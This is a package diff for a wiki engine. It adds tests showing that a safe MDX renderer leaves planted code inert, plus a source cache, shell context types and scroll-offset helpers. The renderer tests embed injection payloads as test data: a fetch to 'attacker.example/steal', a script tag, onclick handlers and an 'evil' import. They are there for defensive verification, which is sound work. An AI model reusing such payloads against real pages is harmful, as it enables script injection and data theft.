@immediately-run/grove 0.1.1

package/src/lib/safeRender.test.ts

@@ -0,0 +1,359 @@
+import { describe, it, expect, vi } from 'vitest';
+import { readFileSync, readdirSync } from 'node:fs';
+import { join } from 'node:path';
+import { parseSafeMdast, renderMdast } from '@immediately-run/sdk/safeContent/index';
+import { renderToStaticMarkup } from 'react-dom/server';
+import { SAFE_INTRINSICS } from './safeIntrinsics';
+
+// The NON-EXECUTABLE surface, proven rather than asserted (R3-217 / R3-219 exit).
+//
+// **This sweep is deliberately independent of how the app renders (R3-252).** The wiki
+// itself left interpreter mode — `render: safe` is gone from `content/home.mdx` and
+// entries go through the compiled `<Include>` path, because the corpus and the app ship
+// from the same repo under the same author identity, so there is no origin boundary here
+// for the safe renderer to defend (`TRUST_MODES §5`: interpreter-vs-executor is a design
+// choice, not a capability gate). What the safe renderer *does* need is a large, real,
+// multi-author corpus to be exercised against, and that is what this file is: the SDK's
+// regression harness, run on every `npm run verify`, keeping the platform's signal after
+// the app stopped depending on it — and keeping the flip reversible by one frontmatter
+// line. Do not delete these because "the wiki doesn't render this way any more."
+//
+// These cases drive the REAL published safe renderer — the same
+// `@immediately-run/sdk` build the sandbox resolves on immediately.run, because the
+// host resolves the app's *pinned* dependency — over the REAL generated corpus. They
+// establish two things the wiki's safety claim rests on:
+//
+//   1. author JavaScript in an entry never executes and never reaches the DOM as
+//      markup (TRUST_MODES §5.1), and
+//   2. a `§`-citation deep-link lands on a heading id that actually exists.
+//
+// What they deliberately do NOT prove is the browser half: that the resolved fragment
+// *scrolls*. That is `scrollToId` in the host, and it needs a real page — the
+// on-host verification the item calls for. Everything upstream of it is checked here,
+// so an on-host failure can only be the scroll, never the renderer or the ids.
+
+const CONTENT = join(process.cwd(), 'content');
+
+function read(rel: string): string {
+  return readFileSync(join(CONTENT, rel), 'utf8').replace(/^---\n[\s\S]*?\n---\n?/, '');
+}
+
+// Parsing ~350 entries takes seconds, and two cases need the same trees, so the sweep
+// runs once and both await it.
+const CORPUS_TIMEOUT = 60_000;
+
+/** Every content entry in the wiki — generated and hand-authored alike. Walked rather
+ *  than listed, so a corpus that grows (specs, context, status) is covered without
+ *  anyone remembering to extend this test. */
+function allEntries(dir = ''): string[] {
+  const out: string[] = [];
+  for (const e of readdirSync(join(CONTENT, dir), { withFileTypes: true })) {
+    const rel = dir ? `${dir}/${e.name}` : e.name;
+    if (e.isDirectory()) out.push(...allEntries(rel));
+    else if (e.name.endsWith('.mdx') && !e.name.startsWith('_')) out.push(rel);
+  }
+  return out.sort();
+}
+
+/** Every node of a type, anywhere in the tree. */
+// eslint-disable-next-line @typescript-eslint/no-explicit-any
+function nodesOfType(tree: any, type: string): any[] {
+  // eslint-disable-next-line @typescript-eslint/no-explicit-any
+  const out: any[] = [];
+  // eslint-disable-next-line @typescript-eslint/no-explicit-any
+  const walk = (n: any) => {
+    if (!n || typeof n !== 'object') return;
+    if (n.type === type) out.push(n);
+    for (const c of n.children ?? []) walk(c);
+  };
+  walk(tree);
+  return out;
+}
+
+/** As {@link textOf}, but skipping `code`/`inlineCode` — the text a READER sees as prose.
+ *  A `[[…]]` inside a fence is a documented example and must survive; one in prose is a
+ *  citation the wiki-link plugin failed to consume. The two need different assertions. */
+// eslint-disable-next-line @typescript-eslint/no-explicit-any
+function textOfExcludingCode(tree: any): string {
+  let s = '';
+  // eslint-disable-next-line @typescript-eslint/no-explicit-any
+  const walk = (n: any) => {
+    if (!n || typeof n !== 'object') return;
+    if (n.type === 'code' || n.type === 'inlineCode') return;
+    if (typeof n.value === 'string') s += n.value;
+    for (const c of n.children ?? []) walk(c);
+  };
+  walk(tree);
+  return s;
+}
+
+/** Flatten every literal string the tree would render as text. */
+// eslint-disable-next-line @typescript-eslint/no-explicit-any
+function textOf(tree: any): string {
+  let s = '';
+  // eslint-disable-next-line @typescript-eslint/no-explicit-any
+  const walk = (n: any) => {
+    if (!n || typeof n !== 'object') return;
+    if (typeof n.value === 'string') s += n.value;
+    for (const c of n.children ?? []) walk(c);
+  };
+  walk(tree);
+  return s;
+}
+
+describe('non-executable surface — planted code is inert', () => {
+  it('a `{fetch()}` expression is literal text, not an evaluated expression', async () => {
+    const spy = vi.spyOn(globalThis, 'fetch');
+    const tree = await parseSafeMdast('Before {fetch("/x")} after.\n');
+    // No expression node exists at all: the mdx *expression* extension is off, so the
+    // braces never even become a syntactic expression — they stay characters.
+    expect(nodesOfType(tree, 'mdxFlowExpression')).toHaveLength(0);
+    expect(nodesOfType(tree, 'mdxTextExpression')).toHaveLength(0);
+    expect(textOf(tree)).toContain('{fetch("/x")}');
+    expect(spy).not.toHaveBeenCalled();
+    spy.mockRestore();
+  });
+
+  it('a `<script>` block survives as literal text, never as markup', async () => {
+    const tree = await parseSafeMdast('<script>globalThis.__pwned = 1</script>\n');
+    // Raw HTML is an `html` node, which renderMdast emits as a text Fragment — there is
+    // no rehype-raw and no dangerouslySetInnerHTML anywhere on this path.
+    const html = nodesOfType(tree, 'html');
+    expect(html.length).toBeGreaterThan(0);
+    expect(html.map((n) => n.value).join('')).toContain('<script>');
+    expect((globalThis as Record<string, unknown>).__pwned).toBeUndefined();
+  });
+
+  it('an import/export line does not become an ESM node', async () => {
+    const tree = await parseSafeMdast('import evil from "./evil.js"\n\nexport const x = 1\n');
+    expect(nodesOfType(tree, 'mdxjsEsm')).toHaveLength(0);
+  });
+
+  it('an unknown component collapses to its children (no arbitrary element)', async () => {
+    const tree = await parseSafeMdast('<Danger onClick="steal()">visible</Danger>\n');
+    const el = nodesOfType(tree, 'mdxJsxFlowElement').concat(nodesOfType(tree, 'mdxJsxTextElement'));
+    expect(el.length).toBeGreaterThan(0);
+    // The NAME is all the renderer uses — it looks the name up in the component map and
+    // renders the children when it finds nothing. The `onClick` attribute is a literal
+    // string on an mdast node that is never applied to a DOM element.
+    expect(textOf(tree)).toContain('visible');
+  });
+
+  it('holds over the real corpus: every entry parses, and none carries an executable node', async () => {
+    const files = allEntries();
+    // Non-vacuity guard, sized to THIS repo's sample corpus. The `docs` wiki runs the
+    // same sweep over ~350 entries and keeps that guard at >280 (R3-252: a large, real,
+    // multi-author corpus is the platform's regression signal, and it stays there). Here
+    // the sweep proves the property holds over whatever the engine ships as its example
+    // content — a smaller claim, honestly sized, not the same claim with the bar lowered.
+    expect(files.length).toBeGreaterThan(10);
+    // Collected rather than asserted per file: MDX throws on the FIRST malformed entry,
+    // and a failure that names one file at a time turns a corpus sweep into N runs.
+    const failures: string[] = [];
+    for (const rel of files) {
+      try {
+        const tree = await parseSafeMdast(read(rel));
+        for (const t of ['mdxFlowExpression', 'mdxTextExpression', 'mdxjsEsm']) {
+          if (nodesOfType(tree, t).length) failures.push(`${rel}: executable ${t}`);
+        }
+      } catch (e) {
+        // A parse error is not cosmetic — the entry renders nothing at all.
+        failures.push(`${rel}: ${(e as Error).message}`);
+      }
+    }
+    expect(failures).toEqual([]);
+  }, CORPUS_TIMEOUT);
+});
+
+describe('deep-linking — the ids a citation targets really exist', () => {
+  it('the renderer emits `sec-…` ids for numbered headings', async () => {
+    const tree = await parseSafeMdast('## 8.9 Powerbox\n\nbody\n\n## Decisions\n');
+    const ids = nodesOfType(tree, 'heading').map((h) => h.data?.hProperties?.id);
+    expect(ids).toContain('sec-8-9');
+    expect(ids).toContain('decisions');
+  });
+
+  it('a numbered heading also keeps its prose slug as a landing hook', async () => {
+    const tree = await parseSafeMdast('## 8.9 Powerbox\n');
+    const h = nodesOfType(tree, 'heading')[0];
+    expect(h.data.hProperties.id).toBe('sec-8-9');
+    expect(h.data.hProperties['data-slug']).toBe('89-powerbox');
+  });
+
+  it('`[[target#frag]]` becomes a WikiLink carrying the whole target', async () => {
+    const tree = await parseSafeMdast('See [[../roadmap/R3-217.mdx#sec-1]].\n');
+    const links = nodesOfType(tree, 'mdxJsxTextElement').filter((n) => n.name === 'WikiLink');
+    expect(links).toHaveLength(1);
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    const target = links[0].attributes.find((a: any) => a.name === 'target')?.value;
+    expect(target).toBe('../roadmap/R3-217.mdx#sec-1');
+  });
+
+  it('a corpus entry`s `[[…]]` citations all become WikiLink nodes — none survive as text', async () => {
+    // R3-252 recorded that `[[…]]` rendered as inert TEXT because the app passes no
+    // `resolveWikiLink`. That read the wrong path: `renderMdast`'s `splitWikiLinks`
+    // fallback only ever sees `[[…]]` that reach it AS TEXT, and `parseSafeMdast` runs
+    // the shared wiki-link remark plugin first — so they are already `WikiLink` JSX
+    // nodes, resolved from the component map. Measured here rather than argued, so the
+    // claim cannot be re-litigated from reading alone.
+    //
+    // FIXTURE rather than a corpus read (R3-262): the `docs` wiki runs this against a
+    // real citation-dense entry (`context/ways_of_working.mdx`, 10 WikiLink nodes) and
+    // keeps doing so. This engine's sample corpus writes no `[[…]]` at all, so a corpus
+    // read here would assert nothing — and an assertion that cannot fail is worse than
+    // no assertion. The fixture is citation-dense on purpose and includes a fenced
+    // literal, so the "strip code first" rule below is exercised, not merely stated.
+    const src = [
+      'Read [[home.mdx]] first, then [[handbook/onboarding.mdx]] and',
+      '[[people/index.mdx#sec-2]] — and see [[the directory|directory.mdx]] for the rest.',
+      'Also [[teams/index.mdx]], [[processes/index.mdx]] and [[reports/index.mdx#sec-1]].',
+      '',
+      'A documented example is not a live citation:',
+      '',
+      '```md',
+      '[[some/target.mdx]]',
+      '```',
+      '',
+      'Inline too: `[[not-a-citation.mdx]]`.',
+    ].join('\n');
+    const tree = await parseSafeMdast(src);
+    const wikiLinks = nodesOfType(tree, 'mdxJsxTextElement').filter((n) => n.name === 'WikiLink');
+    expect(wikiLinks.length).toBeGreaterThan(5);
+    // Every one carries the author's target verbatim.
+    for (const n of wikiLinks) {
+      // eslint-disable-next-line @typescript-eslint/no-explicit-any
+      expect(n.attributes.find((a: any) => a.name === 'target')?.value).toBeTruthy();
+    }
+    // Nothing is left as raw `[[` outside code — a `[[` surviving in prose is a citation
+    // the plugin failed to consume, the exact failure R3-252 claimed was happening
+    // everywhere. Code is excluded because the renderer emits `inlineCode`/`code` values
+    // into the same walk and a DOCUMENTED example must survive verbatim; asserting both
+    // halves here is stronger than the corpus version, which only ever saw the first.
+    expect(textOfExcludingCode(tree)).not.toContain('[[');
+    expect(textOf(tree)).toContain('[[some/target.mdx]]');
+    expect(textOf(tree)).toContain('[[not-a-citation.mdx]]');
+  }, CORPUS_TIMEOUT);
+
+  it('every deep-link in the corpus resolves to a heading the renderer emits', async () => {
+    // The check runs against the ids the SHIPPED renderer actually produces, closing the
+    // gap between "the author believes the anchor exists" and "the anchor exists".
+    //
+    // R3-262: this engine's sample corpus writes no `[[…#frag]]` citations, so the sweep
+    // has nothing to check and its `checked > 0` guard would FAIL — correctly, because a
+    // green sweep over zero deep-links proves nothing. Rather than delete the guard (which
+    // would leave a permanently vacuous test) or delete the case (which would drop the
+    // property), the sweep runs over the corpus PLUS a fixture entry that does carry
+    // citations, so the machinery is exercised here and the corpus is still covered the
+    // moment it grows one. The `docs` wiki runs the same case over ~1000 real citations.
+    const FIXTURE = '__deep-link-fixture__.mdx';
+    const FIXTURE_SRC = [
+      '## 1. First',
+      'See [[#sec-2]] and [[home.mdx]].',
+      '',
+      '## 2. Second',
+      'Back to [[#sec-1]].',
+    ].join('\n');
+    const files = allEntries();
+    const idsByPath = new Map<string, Set<string>>();
+    const sourceByPath = new Map<string, string>();
+    for (const rel of [...files, FIXTURE]) {
+      const src = rel === FIXTURE ? FIXTURE_SRC : read(rel);
+      sourceByPath.set(rel, src);
+      const tree = await parseSafeMdast(src);
+      const ids = new Set<string>();
+      for (const h of nodesOfType(tree, 'heading')) {
+        const hp = h.data?.hProperties ?? {};
+        if (hp.id) ids.add(hp.id);
+        if (hp['data-slug']) ids.add(hp['data-slug']);
+      }
+      idsByPath.set(rel, ids);
+    }
+
+    const normalize = (from: string, target: string) => {
+      const parts = from.split('/').slice(0, -1).concat(target.split('/'));
+      const out: string[] = [];
+      for (const seg of parts) {
+        if (seg === '' || seg === '.') continue;
+        if (seg === '..') out.pop();
+        else out.push(seg);
+      }
+      return out.join('/');
+    };
+
+    const dangling: string[] = [];
+    let checked = 0;
+    for (const [rel, src] of sourceByPath) {
+      const scrubbed = src.replace(/```[\s\S]*?```/g, '').replace(/`[^`]*`/g, '');
+      for (const m of scrubbed.matchAll(/\[\[(?:[^\]|]*\|)?([^\]#|]*)#([^\]]+)\]\]/g)) {
+        const path = m[1] === '' ? rel : normalize(rel, m[1]);
+        const ids = idsByPath.get(path);
+        if (!ids) continue; // outside the generated set — not this test's corpus
+        checked++;
+        if (!ids.has(m[2])) dangling.push(`${rel} → ${path}#${m[2]}`);
+      }
+    }
+    expect(checked).toBeGreaterThan(0);
+    expect(dangling).toEqual([]);
+  }, CORPUS_TIMEOUT);
+});
+
+// ── The LAYOUT chain is non-executable too (R3-263) ───────────────────────────────────
+//
+// `SafeEntryBody` covered entry bodies from R3-213; the `_layout.mdx` chain went through
+// `<Include>` — the COMPILED path — regardless of `render: safe`, so an "interpreter" wiki
+// still executed author JavaScript out of one content file. These cases prove the same
+// property for the shell that R3-219 proved for the entries.
+describe('the layout chain renders non-executably', () => {
+  const LAYOUT = join(process.cwd(), 'content', '_layout.mdx');
+
+  it('the real `_layout.mdx` survives the safe parse as a component chain', async () => {
+    const src = readFileSync(LAYOUT, 'utf8').replace(/^---\n[\s\S]*?\n---\n?/, '');
+    const tree = await parseSafeMdast(src);
+    const names = nodesOfType(tree, 'mdxJsxFlowElement').map((n) => n.name);
+    // The shell primitives resolve BY NAME from the component map, and `<Outlet/>` — the
+    // hinge the whole chain nests on — is among them.
+    expect(names).toContain('GroveNav');
+    expect(names).toContain('GroveSidebar');
+    expect(names).toContain('GroveFooter');
+    expect(names).toContain('Outlet');
+    // No executable node anywhere: the layout's `{/* … */}` comment must not survive as an
+    // expression, and nothing may become an ESM import.
+    expect(nodesOfType(tree, 'mdxFlowExpression')).toHaveLength(0);
+    expect(nodesOfType(tree, 'mdxjsEsm')).toHaveLength(0);
+  });
+
+  it('planted code in a LAYOUT is inert — no script, no evaluation, no handler', async () => {
+    const planted = [
+      'import evil from "./evil.js"',
+      '',
+      '<main className="grove-content" onclick="alert(1)">',
+      '  {fetch("https://attacker.example/steal")}',
+      '  <script>globalThis.__pwned = 1</script>',
+      '</main>',
+    ].join('\n');
+    const spy = vi.spyOn(globalThis, 'fetch');
+    const tree = await parseSafeMdast(planted);
+    const html = renderToStaticMarkup(renderMdast(tree, { components: SAFE_INTRINSICS as never }) as never);
+
+    expect(spy).not.toHaveBeenCalled();
+    expect((globalThis as Record<string, unknown>).__pwned).toBeUndefined();
+    // The `<script>` survives as ESCAPED TEXT, never as markup.
+    expect(html).not.toContain('<script');
+    expect(html).toContain('&lt;script&gt;');
+    // The expression is captured as an inert string, and the handler never reaches the DOM.
+    expect(html).not.toContain('onclick');
+    expect(html).toContain('fetch(');
+    // (GFM autolinks the URL inside that inert string, so the text carries an <a href>. That
+    // is a link the reader may click, not code the page runs — browser-parity, and `sanitizeUrl`
+    // still gates the scheme. Asserted so the anchor is not mistaken for an execution leak.)
+    // The import line is never RESOLVED — but note what actually happens to it, because it
+    // is not what "the ESM node renders as null" would suggest: with the ESM extension off
+    // no `mdxjsEsm` node is produced at all, so the line survives as ordinary paragraph
+    // TEXT. Inert either way, but visible — an author who pastes an import into a layout
+    // sees it printed on the page rather than silently ignored.
+    expect(nodesOfType(tree, 'mdxjsEsm')).toHaveLength(0);
+    expect(html).toContain('<p>import evil from');
+    expect(html).not.toContain('<script src');
+    spy.mockRestore();
+  });
+});

package/src/lib/safeSources.ts

@@ -0,0 +1,25 @@
+import fs from 'fs';
+import { createSourceCache } from './sourceCache';
+
+// The ONE raw-source cache the interpreter path reads through — entry bodies
+// (`SafeEntryBody`) and layout files (`SafeLayout`) alike. (R3-263)
+//
+// Shared rather than one-per-component for two reasons. React `use()` needs a STABLE
+// promise across renders, so the cache must outlive any single component; and a layout is
+// re-read on every navigation while the layout file itself rarely changes, so one cache
+// turns the whole chain into a single read per file per session instead of a read per page.
+//
+// The failure behaviour lives in `sourceCache` and is the interesting part: a rejected read
+// is EVICTED rather than memoised, because the host↔sandbox RPC drops requests during a
+// navigation and a rejected promise left in the cache is returned to every later render —
+// which made an entry permanently blank for the rest of the session.
+// Keyed by the ABSOLUTE path, not a repo-relative one (R3-265). `openAppFs()` is scoped to
+// the APP's repo, which is right for a fork and wrong for a dispatched viewer — the corpus
+// then lives at a host-minted chroot, and an app-scoped read would either miss it or find
+// the viewer's own entry of the same name. The unified `fs` namespace addresses both: a
+// fork's `/app/content/x.mdx` and a dispatched `/task/<slot>/dir/x.mdx` are the same kind of
+// path, which is also the key the metadata index uses, so one identifier now reads a body
+// and its metadata.
+export const safeSources = createSourceCache(
+  (absPath) => fs.promises.readFile(absPath, 'utf8') as Promise<string>
+);

package/src/lib/shell.ts

@@ -0,0 +1,71 @@
+// Shell state shared between the engine root (App) and the chrome components the
+// LAYOUT arranges (GroveNav, GroveSidebar, GroveFooter, PageView). The chrome's
+// interactive brains stay in React; only their *placement* moved into content
+// (`_layout.mdx`). Those components read this context, so a layout can arrange
+// them anywhere and they still work.
+//
+// This file exports only contexts/hooks/types (no components) so it's exempt from
+// the Fast-Refresh "components-only" rule.
+import { createContext, useContext } from 'react';
+import type { ReactNode } from 'react';
+import type { DirectoryListing } from '../hooks/useDirectoryListing';
+
+export interface NavItem {
+  key: string;
+  href: string;
+  label: string;
+}
+
+/** Everything the arranged chrome needs, provided once by App at the engine root. */
+export interface GroveShell {
+  // Theme / appearance
+  theme: string;
+  setTheme: (t: string) => void;
+  light: boolean;
+  setLight: (v: boolean) => void;
+  menuOpen: boolean;
+  setMenuOpen: (v: boolean | ((o: boolean) => boolean)) => void;
+  // Overlays
+  searchOpen: boolean;
+  setSearchOpen: (v: boolean) => void;
+  drawerOpen: boolean;
+  setDrawerOpen: (v: boolean) => void;
+  // Environment
+  vw: 'mobile' | 'desktop';
+  navMode: 'top' | 'side';
+  writable: boolean;
+  siteTitle: string;
+  /** Interpreter mode (TRUST_MODES §5): render this entry's body through the
+   *  non-executable safe renderer (R3-213) instead of the compiled/executable `<Include>`
+   *  path. Driven by `render: safe` on the HOME entry (wiki-wide) or on the entry itself
+   *  (per-entry, R3-252); default false (compiled MDX). */
+  safe: boolean;
+  navItems: NavItem[];
+  // Current entry (the page the innermost <Outlet/> renders)
+  entryKey: string;
+  includePath: string;
+  layout: string;
+  showRails: boolean;
+  mins: number;
+  missing: boolean;
+  suggestion?: string;
+  /** Whether the current URL names a FOLDER rather than an entry, and what is in it.
+   *  `checking` while the readdir is in flight — <PageView> must render neither the
+   *  entry nor the 404 then, or a folder URL flashes "No entry at …" before healing. */
+  directory: DirectoryListing;
+}
+
+export const GroveShellContext = createContext<GroveShell | null>(null);
+
+/** Read the shell context. Throws if used outside App's provider — which only
+ *  happens if chrome is rendered outside the Grove tree, a real bug. */
+export function useShell(): GroveShell {
+  const ctx = useContext(GroveShellContext);
+  if (!ctx) throw new Error('useShell() must be used within <GroveShellContext.Provider>');
+  return ctx;
+}
+
+/** The node an `<Outlet/>` renders: the next-inward layout, or — at the bottom of
+ *  the chain — the page itself (`<PageView/>`). Each layer sets this for its own
+ *  subtree, so nested layouts compose. */
+export const OutletContext = createContext<ReactNode>(null);

package/src/lib/sourceCache.test.ts

@@ -0,0 +1,66 @@
+import { describe, it, expect } from 'vitest';
+import { createSourceCache } from './sourceCache';
+
+describe('createSourceCache', () => {
+  it('memoises a successful read so `use()` gets a stable promise', async () => {
+    let calls = 0;
+    const c = createSourceCache(async (p) => { calls++; return `body of ${p}`; });
+    const a = c.read('x.mdx');
+    const b = c.read('x.mdx');
+    expect(a).toBe(b); // identical promise identity, which is what `use()` requires
+    expect(await a).toBe('body of x.mdx');
+    expect(calls).toBe(1);
+  });
+
+  it('does NOT memoise a failure — the next read retries', async () => {
+    // The defect this guards: the host↔sandbox RPC drops requests during a navigation, and
+    // a rejected promise left in the cache was returned to every later render, so the entry
+    // stayed blank for the rest of the session with no error and no way back.
+    let calls = 0;
+    const c = createSourceCache(async (p) => {
+      calls++;
+      if (calls === 1) throw new Error('Invalid RPC id');
+      return `body of ${p}`;
+    });
+
+    await expect(c.read('x.mdx')).rejects.toThrow('Invalid RPC id');
+    expect(c.size()).toBe(0); // evicted, not retained
+
+    expect(await c.read('x.mdx')).toBe('body of x.mdx'); // recovered
+    expect(calls).toBe(2);
+  });
+
+  it('keeps a later successful read even if an earlier one failed', async () => {
+    let calls = 0;
+    const c = createSourceCache(async () => {
+      calls++;
+      if (calls === 1) throw new Error('transient');
+      return 'ok';
+    });
+    await expect(c.read('a.mdx')).rejects.toThrow();
+    await c.read('a.mdx');
+    expect(await c.read('a.mdx')).toBe('ok');
+    expect(calls).toBe(2); // the second read was memoised
+  });
+
+  it('evicts only the failing path', async () => {
+    const c = createSourceCache(async (p) => {
+      if (p === 'bad.mdx') throw new Error('nope');
+      return 'fine';
+    });
+    await c.read('good.mdx');
+    await expect(c.read('bad.mdx')).rejects.toThrow();
+    expect(c.size()).toBe(1);
+  });
+
+  it('invalidates one path, or all of them', async () => {
+    const c = createSourceCache(async () => 'v');
+    await c.read('a.mdx');
+    await c.read('b.mdx');
+    expect(c.size()).toBe(2);
+    c.invalidate('a.mdx');
+    expect(c.size()).toBe(1);
+    c.invalidate();
+    expect(c.size()).toBe(0);
+  });
+});

package/src/lib/sourceCache.ts

@@ -0,0 +1,42 @@
+// The raw-source read cache behind the interpreter body renderer — pure, injectable, and
+// separate from the component so its failure behaviour can be tested without a host.
+//
+// `use()` needs a STABLE promise across renders, so reads are memoised per path. The
+// subtlety is what happens when a read FAILS: a rejected promise left in the cache is
+// returned to every later render, so the entry can never recover. That is not theoretical
+// — the host↔sandbox RPC drops requests during a navigation ("Invalid RPC id"), and an
+// entry whose read lost that race stayed **permanently blank for the rest of the session**,
+// with no error and no way back short of a reload. Evicting on rejection makes the next
+// attempt a fresh read, so a transient failure costs a retry instead of the page.
+
+export type Reader = (path: string) => Promise<string>;
+
+export interface SourceCache {
+  read: (path: string) => Promise<string>;
+  /** Drop a memoised read (a live edit, or an explicit refresh). */
+  invalidate: (path?: string) => void;
+  /** Testing/diagnostics: how many paths are memoised right now. */
+  size: () => number;
+}
+
+export function createSourceCache(reader: Reader): SourceCache {
+  const cache = new Map<string, Promise<string>>();
+  return {
+    read(path) {
+      const hit = cache.get(path);
+      if (hit) return hit;
+      const p = reader(path).catch((err) => {
+        // Never let a failure become the permanent answer for this path.
+        if (cache.get(path) === p) cache.delete(path);
+        throw err;
+      });
+      cache.set(path, p);
+      return p;
+    },
+    invalidate(path) {
+      if (path === undefined) cache.clear();
+      else cache.delete(path);
+    },
+    size: () => cache.size,
+  };
+}

package/src/lib/tocScroll.test.ts

@@ -0,0 +1,71 @@
+import { describe, it, expect } from 'vitest';
+import { scrollOffsetFor, type ScrollItem, type ScrollView } from './tocScroll';
+
+// A 200px-tall viewport over a 1000px list, currently at the top.
+const view = (over: Partial<ScrollView> = {}): ScrollView => ({
+  viewHeight: 200,
+  scrollTop: 0,
+  scrollHeight: 1000,
+  ...over,
+});
+const item = (top: number, height = 20): ScrollItem => ({ top, height });
+
+describe('scrollOffsetFor — the "when necessary" half', () => {
+  it('returns null for an entry already comfortably in view', () => {
+    expect(scrollOffsetFor(view(), item(100), { margin: 28 })).toBeNull();
+  });
+
+  it('returns null when the whole list fits — nothing can scroll', () => {
+    // Guarded explicitly: without it the clamp below returns 0 for a top item, which a
+    // caller would read as "scroll to 0" and act on, cancelling smooth scrolls forever.
+    expect(scrollOffsetFor(view({ scrollHeight: 150 }), item(0))).toBeNull();
+    expect(scrollOffsetFor(view({ scrollHeight: 200 }), item(180))).toBeNull();
+  });
+
+  it('pulls an entry below the fold UP to the bottom edge, not to the centre', () => {
+    // bottom(420) + margin(28) - viewHeight(200) = 248 — one step, not a jump to centre.
+    expect(scrollOffsetFor(view(), item(400), { margin: 28 })).toBe(248);
+  });
+
+  it('pulls an entry above the fold DOWN to the top edge', () => {
+    expect(scrollOffsetFor(view({ scrollTop: 500 }), item(400), { margin: 28 })).toBe(372);
+  });
+
+  it('honours the edge margin — an entry flush against the fold still moves', () => {
+    // top 210 with viewTop 0 + viewHeight 200: the entry's bottom (230) is past the fold.
+    expect(scrollOffsetFor(view(), item(210), { margin: 0 })).toBe(30);
+    // With a margin, it is pulled further so the list visibly continues past it.
+    expect(scrollOffsetFor(view(), item(210), { margin: 28 })).toBe(58);
+  });
+
+  it('never scrolls past either end', () => {
+    expect(scrollOffsetFor(view(), item(0), { margin: 28 })).toBeNull(); // no negative
+    const atEnd = scrollOffsetFor(view({ scrollTop: 0 }), item(980), { margin: 28 });
+    expect(atEnd).toBe(800); // scrollHeight(1000) - viewHeight(200)
+  });
+
+  it('returns null when the clamp lands where we already are', () => {
+    // An entry inside the top margin while the list is already at 0: the ideal target is
+    // negative, clamps to 0, and 0 is the current offset — that is "in view", not a scroll.
+    expect(scrollOffsetFor(view({ scrollTop: 0 }), item(10), { margin: 28 })).toBeNull();
+    // …and at the far end, likewise.
+    expect(scrollOffsetFor(view({ scrollTop: 800 }), item(990), { margin: 28 })).toBeNull();
+  });
+
+  it('treats a tall entry that cannot fit by pinning its top', () => {
+    // Taller than the viewport: the bottom rule would scroll past the top of the entry and
+    // show only its tail. Above-the-fold is tested first, so the top wins.
+    expect(scrollOffsetFor(view({ scrollTop: 400 }), item(300, 400), { margin: 0 })).toBe(300);
+  });
+
+  it('is stable — applying its own answer twice is a no-op', () => {
+    // The property that keeps the list from oscillating: after one correction the entry is
+    // in view, so a second call must decline. A margin/edge mix-up breaks exactly this.
+    for (const top of [0, 37, 210, 400, 640, 980]) {
+      const first = scrollOffsetFor(view(), item(top), { margin: 28 });
+      if (first === null) continue;
+      const second = scrollOffsetFor(view({ scrollTop: first }), item(top), { margin: 28 });
+      expect(second).toBeNull();
+    }
+  });
+});